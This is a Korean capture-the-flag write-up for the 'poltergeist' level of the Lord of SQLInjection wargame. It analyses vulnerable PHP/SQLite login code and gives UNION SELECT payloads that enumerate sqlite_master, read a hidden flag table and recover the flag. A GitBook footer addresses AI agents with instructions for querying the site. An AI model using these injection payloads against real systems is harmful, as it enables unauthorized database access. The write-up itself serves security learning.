> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-poltergeist.md).
# \[Lord Of SQLInjection] poltergeist
#### 코드 분석
```
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "query : {$query} ";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "
Hello {$result['id']}
";
```
\- id='admin' and pw='공격 백터 pw'인 member 변수에 저장된 id을 반환하는 쿼리문\
\- 만약 쿼리문 반환 값이 있다면, hello 반환 값을 페이지에 출력
```
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");
// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
```
\- $poltergeistFlag은flag\_{$hash}로 되어있는 테이블에 저장\
#### 문제 풀이
\- union select 이용
```
[URL]?pw=' UNION SELECT tbl_name FROM sqlite_master--
```
```
[URL]?pw=' UNION SELECT sql FROM sqlite_master WHERE tbl_name='flag_70c81d99'--
```
```
[URL]?pw=' UNION SELECT flag_0876285c FROM flag_70c81d99--
```
```
[URL]?pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13} #위에서 취득한 플래그 값 삽입해서 클리어 얻음
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-poltergeist.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
